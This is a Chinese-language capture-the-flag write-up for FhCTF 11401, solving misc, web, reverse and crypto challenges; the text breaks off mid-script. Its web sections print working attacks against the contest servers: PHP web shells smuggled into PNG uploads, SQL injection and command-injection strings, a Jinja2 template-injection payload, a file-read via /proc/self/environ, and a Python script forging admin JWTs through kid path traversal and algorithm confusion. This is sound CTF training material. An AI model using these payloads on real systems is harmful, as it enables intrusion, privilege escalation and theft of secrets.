FhCTF 11401

FhCTF 11401
伊藤蒼太1 | 2026 FhCTF / Team CTF |
Misc
Sanity Check

1 | 並看如何發放獎勵。 |
Christmas Tree
經典的霍夫曼編碼題
1 | import json |
1 | FhCTF{Hoffman_is_a_great_Christmas_tree} |
我要吐槽一點霍夫曼編碼的英文是”Huffman”不是”Hoffman”
駭客的密碼食譜
將每個食材的數值轉換成 ASCII 字元:
1 | 125 → } |
1 | FhCTF{cooking_is_fun} |
笑話大師
恭喜這題被評為最鳥的一題我就只是輸入一個?
1 | FhCTF{thisi_Prompt_Injection} |
分享圖庫
一進來我們可以看到這個介面只允許 PNG 上傳
發現 PNG 有固定的 8 字節標頭,那我們就可以在標頭之後添加 PHP 代碼
1 | png_header = ( |
構建 PHP Payload: 嘗試多種指令讀取方式
1 |
|
1 | PS C:\Users\09801\Downloads\gallery> & C:/Users/09801/AppData/Local/Microsoft/WindowsApps/python3.13.exe c:/Users/09801/Downloads/gallery/test.py |
1 | FhCTF{png_format?Cannot_stop_php!} |
分享圖庫 Revenge

目標 (Goal): Dockerfile 第 14 行顯示 Flag 儲存在環境變數中:ENV flag=”FhCTF{fake_flag}”。 因此,我們的目標是執行 PHP 程式碼來讀取環境變數(例如使用 getenv(‘flag’) 或 $_ENV)。
漏洞入口 (Vulnerability): upload.php 負責處理上傳。
檢查機制:它會檢查檔案是否為 PNG (exif_imagetype),並嘗試用 GD 載入 (imagecreatefrompng)。這防止了單純的「改副檔名」或「文件尾附加 PHP 代碼」。
清洗機制 (Sanitization):最關鍵的是第 49 行 imagepng($img, $target_file)。這會重繪圖片並存檔。一般的 Web Shell(例如在圖片結尾加 )經過這個步驟後,附加的代碼會被丟棄,只剩下純圖片數據。
檔名漏洞:第 7 行 $target_file = $target_dir . basename($_FILES[“fileToUpload”][“name”]);。伺服器直接使用了你上傳的檔名與副檔名。如果你上傳 shell.php,它就會存成 uploads/shell.php。
- 解題思路 (Strategy)
我們需要利用 “PHP GD Bypass” 技術。 我們需要構造一個特殊的 PNG 圖片,使得它在被 imagecreatefrompng 讀取並由 imagepng 重新壓縮寫入後,新的圖片數據流中仍然包含 PHP 代碼。
這通常是透過操控 PNG 的 IDAT 塊(像素數據)來達成。當這些像素被壓縮算法處理時,會剛好組成類似 =$_GET[0]($_POST[1]);?> 的字串。
- 攻擊步驟 (Step-by-Step)
第一步:生成 Payload
你需要一個腳本來生成這種「抗清洗」的 PNG。以下是一個常用的生成腳本(基於國外研究員的 IDAT/PLTE Bypass 技術)。
請將以下程式碼存為 gen_payload.php 並在你的電腦上用 PHP 執行它:
1 |
|
第二步:準備攻擊檔案
將生成的 payload.webp 重新命名為 shell.php。
伺服器檢查內容:它是合法的 PNG(通過)。
伺服器存檔:存為 .php(因為我們檔名是 .php)。
伺服器清洗:Payload 的構造特性讓它在清洗後,PHP 代碼依然存在。
第三步:上傳與執行
回到題目網頁,上傳 shell.php。
因為我們的 Payload 是 =$_GET[0];?>,我們可以用 GET 參數傳入指令。curl.exe "http://b1baf89e.fhctf.systems/uploads/shell.php?0=system" -d "1=env" --output - | Select-String "FhCTF"
1 | FhCTF{But_I_CAN_WRITE_PHP_IN_IDAT_CHUNK} |
Python Compile
在程式碼錯誤時會顯示 Syntax Error,代表在處理錯誤時還是會讀到檔案
可以推測可能為LFI 題。
在程式碼輸入框隨意輸入會造成語法錯誤的 Python 程式碼並送出,頁面會顯示 Syntax Error,且錯誤訊息包含 “Line N” 與該行內容的回顯。
由錯誤可推測,後端在渲染 Syntax Error 時,會依行數讀取來源檔案的對應行內容,且讀檔目標來自使用者的 filename;這形成本地檔案讀取(LFI)風險。
以 PoC 驗證,將request中的 filename 改為system path(如 /proc/self/environ),同時維持語法錯誤的程式碼,觀察錯誤訊息是否顯示該檔案內容。
為了讓error出現在第 1 行,將程式碼內容設為單一 “(“,backend會再嘗試讀取 filename 的第 1 行並顯示在error中。
1 | monaco.editor.getModels()[0].setValue("("); |
1 | document.querySelector('input[name="filename"]').value = '/proc/self/environ'; |
1 | document.getElementById('compileForm').submit(); |
在error中可以看到 /proc/self/environ 的輸出,可以得到包含FLAG= 的 environment variable。
最後就可以拿到flag
1 | FhCTF{N0t_s4f3_t0_ou7put_th3_err0r_m5g} |
Survey
Survey

1 | FhCTF{Th4nk_y0u_f0r_y0ur_f33db4ck_7hCTF} |
Web
INTERNAL LOGIN

客戶端 SQL 注入模擬,在 Username 欄位輸入
- ‘ or 1=1–
- ‘ OR ‘1’=’1
- admin’ or 1=1–
- ‘ || 1=1–
- anything’ or ‘a’=’a
1 | FhCTF{SQL_1nj_42_} |
Web Robots
robots.txt 對,就是 robots.txt
可以看到有
1 | User-Agent * |
那我們就直接進/secret看吧

進 /secret 後會跳轉到 /secret/index.html ,那很明顯我們看的出來上一步就是目錄


1 | FhCTF{r0b075_4r3_n0t_v15ible_in_tx7} |
Doors Open

一樣先看 robots.txt

那就進 /doors 看看吧

這裡點開直接是 /door/1 , 那我們就開始用Burp跑0~10000,發現都不是,
看著越來越多人解,就想說應該沒那麼難吧,所以就想說會不會是負數….

The Visual Blind Spot
計算正確的 RGB 密鑰
1 | const _base = parseInt("32", 16); // "32" (十六進位) = 50 (十進位) |
正確的 RGB 值:
1 | R = 100 |
解密 sys-config 數據
data-params 包含加密的數據:
1 | 249|351|240|291|249|408|288|387|369|192|330|366|324|240|186|375|351|192|375|414 |
解密公式:charCode = (n / 3) - 13
1 | FhCTF{Stn3am_C1ph3p} |
SYSTEM ROOT SHELL

在 script 標籤中發現
1 | javascript |
ASCII 碼數組轉換為字元
1 | _h → "FhCTF{" |
觸發方式
1 | 127.0.0.1; ls |
1 | FhCTF{RCE__v3} |
Welcome to Cybersecurity Jungle

一進來會看到上面的畫面,看 HTML source時,注意到 title 標籤包含一段日文
1 | 言語(げんご)を変(か)えても、プログラミングの本質(ほんしつ)は変(か)わらない。 |
意旨 “即使改變語言,編程的本質也不會改變
題目的關鍵在於設置正確的 Cookie
1 | Cookie 名稱 (Base64 編碼): aXNGbGFnU2hvdzJ1 |
解碼後: isFlagShow2u
1 | Cookie 值 (Base64 編碼): 44Go44GF44KL44O8 |
解碼後: とぅるー (日文的 "true")
接下來進到 Application 改 cookie 值後重新整理即可

1 | FhCTF{Th3_e553nc3_of_pr0gramm1n6_is_ind3p3nden7_of_the_languag3_u53d} |
Templating Danger
SSTI題
繞過方法:
1 | if "\\u" in val: |
當輸入包含 \u 時,系統會執行 Unicode 解碼,然後在過濾後直接用 Jinja2 的 Template().render() 渲染內容。這允許我們使用 Unicode 編碼繞過括號過濾。
Payload:
1 | \u007b\u007bcycler.__init__.__globals__.os.environ['FLAG']\u007d\u007d |

1 | FhCTF{T3mpl371ng_n33d_t0_b3_m0r3_c4r3full🥹} |
Documents
一進來看照慣例看sources,找出隱藏字元
- “HTTP Header 告訴了你一切”
檢查 HTTP 標頭發現: powerby: FastAPI
FastAPI 通常有 /openapi.json 端點
可以發現 /flag.html 端點需要 Referer 標頭,所以我們需要偽造他
1 | Invoke-WebRequest -Uri "http://9f1604e5.fhctf.systems/flag.html" ` |

1 | FhCTF{URL_encod3d_m337_p47h_d15cl0sure😱😱} |
LOG ACCESS

這題提供了一個「安全的日誌讀取工具」,聲稱能偵測並阻擋所有 Path Traversal 攻擊 。題目明確提示:這個工具完全沒有後端,所有判斷似乎都在瀏覽器中完成。
1 | const check1 = input.split('.').length > 3; |
驗證條件非常清楚:
- check1:輸入必須包含超過 3 個點(. 字元)
- check2:輸入必須包含 “flag” 字串(不區分大小寫)
混淆字串解碼
JavaScript 中使用了幾個混淆的變數 :
1 | const _h = [70, 104, 67, 84, 70].map(c => String.fromCharCode(c)).join(''); |
組合起來
1 | FhCTF{Path_Tr4v_535} |
Pathway-leak
打開題目網站,觀察檔案管理介面與網頁原始碼。
在 <script> 區塊中發現檔案載入是呼叫:
1 | const TENANT = 'guest_user'; |
題目另外提供的檔案清單顯示伺服器上還存在:
1 | secret_admin/flag.txt (38B) |
推論後端 API 很可能沒有檢查目前使用者是否真的屬於該 tenant,因此直接嘗試跨 tenant 請求:
1 | curl http://71c21714.fhctf.systems/api/assets/secret_admin/flag.txt |
伺服器回應 HTTP 200,內容為:
1 | FhCTF{p4th_tr4v3rs4l_w3_w4n7_t0_av01d} |
KID
進入題目網頁後,先打開瀏覽器的「檢查元素 / 開發者工具」,在原始碼與 console/log 區可以看到幾段 Debug 訊息,直接洩漏了後端的驗證邏輯:
金鑰路徑 Debug:
1
[DEBUG] Fetching key from: /app/keys/default.pem
這代表伺服器會根據 JWT Header 裡的
kid(Key ID)去檔案系統讀取金鑰,例如kid = "default.pem"對應/app/keys/default.pem。危險的相容模式:
1
[DEBUG] HS256 Compatibility Mode: Enabled
這表示伺服端在驗證 JWT 時,同時支援非對稱(RS256)與對稱(HS256)模式,而且實作方式存在演算法混淆風險。
目前權限:頁面顯示登入身份為
guest,顯然目標是偽造 Token 取得admin權限。
接著從 Cookie 中取出 JWT(例如 access_token),丟到 jwt.io 觀察內容,可以得到類似結構:
- Header:
1
2
3
4
5{
"alg": "RS256",
"kid": "default.pem",
"typ": "JWT"
} - Payload:
1
2
3
4{
"role": "guest",
"iat": 1704350000
}
這些資訊已經足夠判斷:伺服器會依 kid 去讀檔案,並用其中內容當作金鑰來驗證 JWT。
- 漏洞原理分析
這題結合了兩個常見錯誤:Directory Traversal + JWT Algorithm Confusion。
Directory Traversal (目錄遍歷)
後端實作概念大致類似:
1
2
3kid = header["kid"]
key_path = "/app/keys/" + kid
key_data = open(key_path, "rb").read()若
kid沒有過濾../,攻擊者可以傳入像是:1
../../../../../../dev/null
讓伺服器實際去開啟的路徑變成
/dev/null,而不是預期的/app/keys/default.pem。
雖然我們看不到檔案內容,但伺服器會「自己」幫我們載入,並當成金鑰使用,這就是利用點。JWT Algorithm Confusion (演算法混淆)
預期設計應該是:
- 使用
RS256:- 使用非對稱金鑰(private key 簽發、public key 驗證)。
.pem應該被視為「公鑰」,只能用來驗證 Signature。
但現在伺服器支援
HS256 Compatibility Mode,實作類似:1
2
3
4if header["alg"] == "RS256":
# 用 public key (pem) 驗證
elif header["alg"] == "HS256":
# 仍然讀同一個 pem 檔案,但把整個內容當成 HMAC secret結果變成:
- 當
alg = HS256時,伺服器會把「原本是公鑰的 pem 檔內容」當成對稱金鑰(secret)來驗證 HMAC。 - 只要攻擊者「知道」這個 secret,就能在外面自己簽 Token。
問題是:
default.pem的內容我們不知道,所以沒辦法直接利用;但目錄遍歷讓我們可以選擇「其他檔案」來當 secret。- 使用
攻擊思路設計
關鍵想法:
- 找一個「內容已知」的系統檔案,讓伺服器把它讀進來當 HMAC secret。
- 對 Linux 來說,
/dev/null的內容就是空的,所以可以預期:- 程式讀取
/dev/null⇒ 讀到空字串""。
- 程式讀取
- 只要我們在本地端用「空字串」當 secret,就能產出與伺服器一致的 HS256 簽章。
- 再把 Payload 裡的
role改成admin,就可以偽造一個被伺服器接受的管理員 Token。
因此攻擊步驟是:
- 把 JWT Header 的:
alg改為HS256kid改為../../../../../../dev/null
- 用
key = ""(空字串)簽 HMAC-SHA256,產生新的 Token。 - 將 Payload 中
role改成admin、甚至user改成admin,達成提權。
實作 Exploit(偽造 JWT)
以下使用 Python + PyJWT 生成偽造 Token:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import jwt
# 1. 惡意 Header:目錄遍歷指向 /dev/null,改用 HS256
headers = {
"kid": "../../../../../../dev/null",
"alg": "HS256",
"typ": "JWT"
}
# 2. 惡意 Payload:直接把角色改成 admin
payload = {
"role": "admin",
"user": "admin",
"iat": 1704355555
}
# 3. 簽名:密鑰為空字串,對應伺服器讀取 /dev/null 的結果
forged_token = jwt.encode(
payload,
key="",
algorithm="HS256",
headers=headers
)
print("偽造的 Token:\n", forged_token)步驟:
- 從原本 Cookie 拿到合法 JWT,確認欄位名稱(例如
role、user等)。 - 執行腳本,得到一個新的
forged_token字串。 - 在瀏覽器中:
- F12 → Application → Cookies。
- 找到原本存 JWT 的 Cookie(例如
access_token)。 - 將其值整個替換為
forged_token。
- 重新整理頁面。
若後端如題目描述那樣實作,伺服器會:
- 看到
alg = HS256→ 用 HMAC 模式驗證。 - 看到
kid = ../../../../../../dev/null→ 讀取/dev/null當作 secret(空字串)。 - 用空字串驗證 HMAC Signature,因為我們本地端也是用空字串簽的,所以驗證會通過。
- Payload 裡
role = admin,因此認定我們是管理員。
- 從原本 Cookie 拿到合法 JWT,確認欄位名稱(例如


1 | FhCTF{Th3_k1d_u53d_JWT_t0_tr4v3rs3_p4th5} |
Something You Put Into
檢視 main.py,可知flag是由系統設定取出:
1 | FLAG = ChallSettings().flag |
確認 ChallSettings() 會從 env variable 中讀取 Flag。
檢查 Docker YAML 設定檔,可發現 Flag 以 plain text 形式存在環境變數設定中。
1 | FhCTF{🐷B3_c4r3ful_y0ur_SQL_synt4x🐷} |
Reverse
簡易腳本閱讀器
- 先看PY,從第 2 行開始,跳過了 Flag

- 用戶輸入可以修改列表中的任何位置

- JUMP 指令可以改變指令指針到任何索引

那其實我們直接輸入 “JUMP 0” 就好了
1 | FhCTF{f1l3_10_and_jumb_m4st3r} |
OBF
先看code,使用了大量的混淆技術:
- 變數單字母命名 (K, H, G, J, C 等)
- 簡化的內置函數 (A=enumerate, E=chr, F=ord)
- 狀態機設計 (使用字典和指針)
- 魔法數字和字符串
code實現了一個狀態機,按以下順序執行:
1 | 狀態 1: XOR 66 解碼 |
1 | |`0|`.T1W0.`,`k`BAQuMED4D^oR>A\VXEAVWBZC5QP... |
這個密鑰是通過 4 部分組合而成:
- XOR with 66: |0|.T1W0.,
k(16 字符) - 字符 - 5: BAQuMED4D^oR>A\V (16 字符)
- Base64 解碼: XEAVWBZC5QPVBKHX (16 字符)
- 字符串反向: msfU2bn0jnxxLGEw (16 字符)
解密過程
給定的加密輸出:
1 | 3e08772c224960093145070318575a0e741e050c7a2d745a1b6f5a0d5834322b |
使用密鑰進行 XOR 解密:
1 | flag = ''.join([chr(int(hex_pair, 16) ^ ord(key[i % 64])) |
1 | FhCTF{P0lym0rph1c_Crypt0} |
The Lock
使用 IDA 靜態分析
主函數 (main) 邏輯
透過 IDA Pro 反編譯後,可以看到 main 函數的流程如下:
格式檢查 (check_header):檢查輸入是否以 FhCTF{ 開頭並以 } 結尾。
核心驗證 (check_password):這是最關鍵的函數,若回傳值為真,則代表 Flag 正確。
驗證函數 (check_password) 分析
進入 check_password 函數後,可以觀察到以下關鍵點:
字串處理:程式使用 substr 提取了花括號內的內容。
長度限制:內容長度必須正好為 26 個字元。
關鍵數據:
v6 (金鑰陣列): [85, 51, 102, 17]
v7 (目標數值陣列): [7, 2, 20, 40, 47, 74, 97, 92, 32, 111, 21, 54, 83, 26, 113, 129, 132, 127, 37, 116, 140, 106, 101, 126, 87, 54]
演算法公式:
$$v7[i] = (v6[i \pmod 4] \oplus \text{input}[i]) + 2 \times i$$
演算法還原與逆向
為了得到原始輸入,我們需要將上述公式進行移項,反推 $\text{input}[i]$:
先處理加法偏移:$X = v7[i] - 2 \times i$
再處理異或運算:$\text{input}[i] = X \oplus v6[i \pmod 4]$
自動化解密腳本 (Python)
為了快速得到結果,我們編寫以下腳本:
1 | target = [7, 2, 20, 40, 47, 74, 97, 92, 32, 111, 21, 54, 83, 26, 113, 129, 132, 127, 37, 116, 140, 106, 101, 126, 87, 54] |
最終結果
經過腳本執行,花括號內的字串為 J3v3rs3_Eng1n33r1ng_1sOar7。
Flag 內容分析:該字串是 Leet Speak 形式的「Reverse Engineering Is Art」。
最終答案:
1 | FhCTF{R3v3rs3_Eng1n33r1ng_1s_Ar7} |
壞掉的解碼器
給了兩個檔案
其中encrypted_flag裡有
decrypt裡有
1 | ELF > @ ? @ 8 |
提供ELF二進位檔decrypt與加密檔案encrypted_flag,需逆向分析解密邏輯並實作Python腳本取得flag 。透過strings與函數符號識別關鍵演算法,包括generateSeed、getNextKey、rotateRight等
- 靜態分析
執行strings decrypt顯示程式讀取input/output檔案,使用fopen、fgets、fputc,並依賴libstdc++與libc符號如__stack_chk_fail、__libc_start_main。符號表揭示核心函數:
- generateSeed:從password生成初始seed,使用seed = seed * 31 + ch的hash方式,模0xFFFFFFFF。
- getNextKey:LCG偽隨機產生器,公式(seed * 0x41C64E6D + 0x3039) & 0x7FFFFFFF,key = seed % 255。
- rotateRight:右旋位移,rotate_right(byte, 3)。
- main:讀取hex字串,對每byte執行旋轉→更新seed→XOR key→seed += 原byte。
ELF片段顯示hex資料”2781ACE7A1534E1231F7B84AD05565FEFB484A86E6ECD5C76686276A57658F79686098C6A5F0593D395543ABFF118410B2F02CF61FA5”與password提示”I_just_afraid_someday_i_will_forget_the_password”。
- 邏輯還原
解密流程為每byte獨立處理:
- hex解析為byte b。
- b_rot = rotate_right(b, 3),即(b >> 3) | (b << 5) & 0xFF。
- seed = getNextKey(seed)。
- key = seed % 255。
- plaintext_byte = b_rot ^ key。
- seed = (seed + b) & 0xFFFFFFFF(注意加原始b,非旋轉後)。
此與常見流密碼不同,seed更新依賴原始密文,形成依賴鏈
- 解密腳本
1 | hexline = ("2781ACE7A1534E1231F7B84AD05565FEFB484A86E6ECD5C76686276A57658F7" |
1 | FhCTF{Why_not_use_std::string_instead_of_char_arrays?} |
Crypto
安全的加密
這題展示了為什麼 ECB 加密模式不適合用於圖像資料。
- 加密機制分析

題目使用腳本將 flag 轉換為 BMP 圖檔後,再透過 AES-256-ECB 加密。特別的是,加密金鑰直接從 flag 的十六進位表示取得。由於 OpenSSL 的 enc 指令在金鑰長度不足時會自動填充零位元組至 32 bytes,實際加密過程中的金鑰是可預測的。
- 攻擊向量
ECB 最致命的弱點在於相同明文區塊總是產生相同密文區塊。當加密對象是結構化資料(如圖像)時,這個特性會直接暴露資料的空間分布模式。
- 解密步驟
由於圖檔格式為 1000×100 像素的 32-bit BMP,每個像素佔 4 bytes,總共 400,000 bytes。AES 以 16-byte 為單位分塊加密,對應到圖像中就是每 4 個像素為一組。
透過以下步驟重建圖像:
- 讀取加密檔案並按 16-byte 切分成區塊
- 跳過 BMP 標頭佔用的前 138 bytes(約 9 個區塊)
- 將每個加密區塊視為一個顏色單元
- 重新排列成 250×100 的區塊陣列(1000÷4=250)
- 為不同的密文區塊指派不同顏色進行視覺化
由於文字區域和背景區域的像素值不同,加密後會產生截然不同的密文區塊。透過顏色映射,文字的輪廓會清晰呈現,直接讀取即可得到 flag。
1 | import os |

我們可以看到是反過來的FhCTF{3C13_m0d3_1s_z0_S3cur17y_}
1 | FhCTF{3C13_m0d3_1s_z0_S3cur17y_} |
Encode By Py 😘

這題的核心是「自製 Emoji 加密」其實只是一個可逆的位移編碼,加上可預測的 key 循環與大量重複樣本,整體安全性非常脆弱。
整體流程概覽
- 程式啟動時會載入一組金鑰字串
ENC_SECRET,預設值是Hi_S3cL157_xato-net,然後讀取flag.txt的內容作為明文。 - 主邏輯在
encrypt_bytes,逐 byte 處理輸入,將每個 byte 轉成對應的 Emoji,最後寫出到flag.enc。 - 編碼時使用固定 base(
BASE = 0x1F600)和範圍(RANGE = 0x4E),所以結果都落在一小段 Emoji codepoint 區間。
- 程式啟動時會載入一組金鑰字串
單一 byte 的 Emoji 編碼
- 對每個明文字節
byte,先計算當前索引i對應到 key 的位置idx,用ENC_SECRET[idx]做位移,再搭配 XOR 產生一個偏移量enc_shift。 - 真正輸出的值是
[
enc_byte = ((byte + (enc_shift \oplus RANGE)) \bmod RANGE) + BASE
]
如果落在特定保留區間則再減去ALTERNATIVE做修正,確保最後是合法 UTF-8 Emoji。 - 某些特殊 byte(例如換行)不會轉成 Emoji,而是「原樣輸出」,並且用來驅動長度相關的計數變數,影響後面
idx的計算。
- 對每個明文字節
索引循環與行為分析
- key 的使用位置不是單純
i % len(ENC_SECRET),而是i % ((len_num * len_times) if len_num > 0 else 1),其中len_num、len_times只在碰到特定 byte(實際上就是那個「if byte == 某值就原樣輸出」的條件)時才會更新。 - 這代表整個加密過程是「被分段的」:每次遇到那個特殊控制字元(例如換行)就會重設或改變循環長度,導致每一行的 key index pattern 不同。
- 檔案裡第一大段重複的
✅😢🙈😴等 emoji,其實就是利用同一個明文字節反覆出現,讓對應的 key 位置重複,成為攻擊者觀察 key 的絕佳樣本。
- key 的使用位置不是單純
解密邏輯的逆向設計
- 要還原明文,第一步是把每個 Emoji 轉回 Unicode codepoint,如果是「被挪到替代區段」的,就加回
ALTERNATIVE,再減掉BASE,得到原本的「模 RANGE 之前的加密值」。 - 接著,用同樣的 key byte 和位移規則,把(enc_byte−BASE)modRANGE
反推回bytemodRANGE
因為運算中有% RANGE,所以理論上只能恢復「0..77 的明文模值」,但對這題來說,flag 被映射到一個有限字元集合(ASCII art)中,這樣的資訊已經足夠辨識。 - 實作上就是:
- 還原出每個位置對應的
enc_shift。 - 用加密公式反向求解原始 byte 在
0..77的值。 - 把這些值映射到一組可視字元表(例如固定順序的 ASCII 字元)上,得到可讀內容。
- 還原出每個位置對應的
- 要還原明文,第一步是把每個 Emoji 轉回 Unicode codepoint,如果是「被挪到替代區段」的,就加回
利用重複行恢復金鑰
- 題目給的第一行是一長串完全規律重複的 emoji pattern,本質上對應同一個明文字元(例如空白或某個固定符號),相當於「已知明文大量重複」。
- 對每個重複位置,已知:
- 相同明文字節
byte。 - 對應 emoji 的 codepoint(即
enc_byte)。 BASE與RANGE為常數。
- 相同明文字節
- 於是可以直接把方程式中的
ENC_SECRET[idx]反推回來,逐個位置解出 key 的每個 byte,最後得到長度為 12 的 key:[49, 57, 49, 35, 19, 44, 42, 37, 41, 23, 22, 21]
並且確認這組鍵值會在整段密文中週期性重複。 - 有了完整 key,即可對每個 emoji 進行上述的逆運算,把整個
flag.enc轉回「mod 78 明文」序列。
還原 ASCII art 與 flag
- 解碼後得到的並不是直接的一行 flag,而是一個由可視字元構成的大型 ASCII art,風格與 FIGlet 輸出的字型一致。
- 把還原出的字元陣列依照原始換行配置輸出,就能看到一個大字樣,裡面嵌著形如
flag{...}的內容。 - 將這段 ASCII art 轉成圖片或直接在等寬字型終端機中觀看,肉眼就可以辨認出真正的 flag。整個過程只利用:
演算法可逆性。
高度重複的已知明文行。
有限字元集合導致的模空間縮小。這也說明了「Emoji + 位元運算」並不會自動帶來任何額外安全性,只是另一種換皮的古典密碼而已。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160from pathlib import Path
from PIL import Image, ImageDraw, ImageFont
# 常數定義
BASE = 0x1F600
RANGE = 0x4E
ALTERNATIVE = 0x1CEFE
KEY = [49, 57, 49, 35, 19, 44, 42, 37, 41, 23, 22, 21]
# 建立數值到字元的映射表
VAL_TO_CHAR = {
14: "\\",
18: "`",
32: " ",
33: "!",
39: "'",
40: "(",
41: ")",
44: ",",
45: "-",
46: ".",
47: "/",
58: ":",
60: "<",
}
def parse_encrypted_file(file_path):
"""讀取並解析加密的 emoji 文件"""
raw_data = Path(file_path).read_bytes()
text = raw_data.decode("utf-8")
tokens = []
for char in text:
if char == "\n":
tokens.append(("newline", 10))
else:
codepoint = ord(char)
if codepoint < BASE:
codepoint += ALTERNATIVE
tokens.append(("char", codepoint - BASE))
return tokens
def build_index_sequence(tokens):
"""建立索引序列用於解密"""
line_length = 0
line_count = 0
index_list = []
for i, (token_type, _) in enumerate(tokens):
idx = i % (line_length * line_count) if line_length > 0 else 0
index_list.append(idx)
if token_type == "newline":
if line_length == 0:
line_length = i + 1
line_count += 1
return index_list
def decrypt_tokens(tokens, index_list):
"""解密 token 序列"""
length = len(tokens)
plaintext_mod = []
for i, (token_type, value) in enumerate(tokens):
if token_type == "newline":
plaintext_mod.append(10)
continue
key_value = KEY[index_list[i] % len(KEY)]
shift = (length - i) % 4
decrypted_value = (value - (key_value << shift)) % RANGE
plaintext_mod.append(decrypted_value)
return plaintext_mod
def convert_to_ascii_art(plaintext_mod):
"""將解密後的數值轉換為 ASCII 藝術字元"""
ascii_chars = []
for value in plaintext_mod:
if value == 10:
ascii_chars.append("\n")
else:
ascii_chars.append(VAL_TO_CHAR.get(value, "?"))
return "".join(ascii_chars)
def render_ascii_art_to_image(ascii_text, output_path, font_size=16):
"""將 ASCII 藝術渲染成圖片"""
lines = ascii_text.splitlines()
# 嘗試載入字體
try:
font = ImageFont.truetype("consola.ttf", font_size)
except Exception:
try:
font = ImageFont.truetype("Courier New.ttf", font_size)
except Exception:
font = ImageFont.load_default()
# 計算圖片尺寸
max_line_length = max(len(line) for line in lines) if lines else 0
char_width = font.getbbox("A")[2]
line_height = font.getbbox("A")[3] + 2
image_width = max_line_length * char_width + 10
image_height = line_height * len(lines) + 10
# 建立圖片並繪製文字
img = Image.new("RGB", (image_width, image_height), "white")
draw = ImageDraw.Draw(img)
y_position = 5
for line in lines:
draw.text((5, y_position), line, fill="black", font=font)
y_position += line_height
# 儲存圖片
img.save(output_path)
return output_path
def main():
"""主程式流程"""
input_file = Path(r"C:\Users\zenge\Downloads\files (6)\flag.enc")
output_file = Path(r"C:\Users\zenge\Downloads\files (6)\ascii_art.webp")
# 步驟 1: 解析加密檔案
print("正在解析加密檔案...")
tokens = parse_encrypted_file(input_file)
# 步驟 2: 建立索引序列
print("正在建立索引序列...")
index_list = build_index_sequence(tokens)
# 步驟 3: 解密
print("正在解密...")
plaintext_mod = decrypt_tokens(tokens, index_list)
# 步驟 4: 轉換為 ASCII 藝術
print("正在轉換為 ASCII 藝術...")
ascii_art = convert_to_ascii_art(plaintext_mod)
# 步驟 5: 渲染成圖片
print("正在渲染圖片...")
result_path = render_ascii_art_to_image(ascii_art, output_file)
print(f"完成!圖片已儲存至: {result_path}")
print("\nASCII 藝術預覽:")
print(ascii_art[:500] + "..." if len(ascii_art) > 500 else ascii_art)
if __name__ == "__main__":
main()

1 | FhCTF{S1mpl3_FL46_We4k_P4ss} |
DES Lv.1 - 老船長的寶藏
Part 1: JPEG 高度修復 (Image Forensics)
題目分析
目標檔案:
treasuremap.webp
現象: 圖片底部被截斷,無法看到完整內容
原因: JPEG 檔案的高度數值在 Hex Header 中被惡意修改,導致瀏覽器只渲染上半部分,底部的關鍵資訊被隱藏[1]核心原理
JPEG 檔案格式使用 SOF (Start of Frame) 區塊儲存圖片尺寸資訊 :
SOF 標記:
FF C0(Baseline DCT) 或FF C2(Progressive DCT)
結構:[FF C0] [長度(2bytes)] [精度(1byte)] [高度(2bytes)] [寬度(2bytes)]
位元組序: Big-Endian (大端序)當高度被人為改小時,圖片檢視器會忽略超出高度的像素資料,但這些資料仍完整保留在檔案中。只要將高度值恢復或調大,隱藏的內容就會顯示出來
腳本
A. 讀取與搜尋 SOF 標記
1
2
3
4
5
6
7
8import re
import struct
with open("treasuremap.webp", "rb") as f:
data = bytearray(f.read())
# 搜尋所有 SOF 標記 (FF C0 或 FF C2)
matches = [m.start() for m in re.finditer(b'\xff[\xc0\xc2]', data)]此步驟找出所有定義圖片尺寸的 Header 位置。由於 JPEG 可能包含縮圖 (Thumbnail),因此可能存在多個 SOF 區塊 `
B. 鎖定主圖片
1
2
3
4
5
6
7
8
9
10
11
12
13
14max_width = 0
target_idx = -1
for sof_pos in matches:
# 跳過標記本身 (2 bytes) 和長度欄位 (2 bytes) 和精度 (1 byte)
h_idx = sof_pos + 5 # 高度位置
w_idx = sof_pos + 7 # 寬度位置
h = struct.unpack(">H", data[h_idx:h_idx+2])[0]
w = struct.unpack(">H", data[w_idx:w_idx+2])[0]
if w > max_width: # 找出寬度最大的區塊
max_width = w
target_idx = h_idx>H表示 Big-Endian Unsigned Short,符合 JPEG 規範 。主圖片通常具有最大的寬度尺寸C. 修改高度並儲存
1
2
3
4
5new_height = 2000 # 設定為足夠大的高度
data[target_idx:target_idx+2] = struct.pack(">H", new_height)
with open("treasuremap_fixed.jpg", "wb") as f:
f.write(data)成功修復後,開啟圖片即可看到底部隱藏的資訊,包括:
plaintext.enc檔案提示- 部分 Key 提示:
r5K9

Part 2: DES 密鑰爆破 (Cryptography)
題目背景
加密演算法: DES (Data Encryption Standard)
輸入檔案:plaintext.enc(hex 編碼的密文)
已知資訊:- 題目提示:”The Data 可以幫你加速解密”
- 地圖右下角紅字:
key 部分:r5K9
加密模式判斷
檢查
plaintext.enc特徵:- Hex 字串長度為偶數 → 可轉換為 bytes
- 轉換後長度是 8 的倍數 → 符合 DES block size
由於題目未提供 IV (Initialization Vector),且這是入門級 CTF 題目,推測使用 DES-ECB 模式 。[3]
ECB 特性:
- 不需要 IV
- 每個 block 獨立加密/解密
- 相同明文 block 產生相同密文 block[3]
密鑰結構分析
DES 密鑰固定為 8 bytes。
已知前 4 bytes:r5K9
未知後 4 bytes:需要爆破字元集: 英文大小寫 + 數字 = 62 個字元
組合數: 62^4 = 14,776,336 種可能
加速策略
題目提示 “The Data can help you decrypt faster” 意味著:
- 不需要解密整個檔案
- 只解密第一個 block (8 bytes) 即可驗證密鑰正確性
- 利用已知明文攻擊 (Known-Plaintext Attack) 的概念
解題腳本
爆破版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43import binascii
import itertools
import string
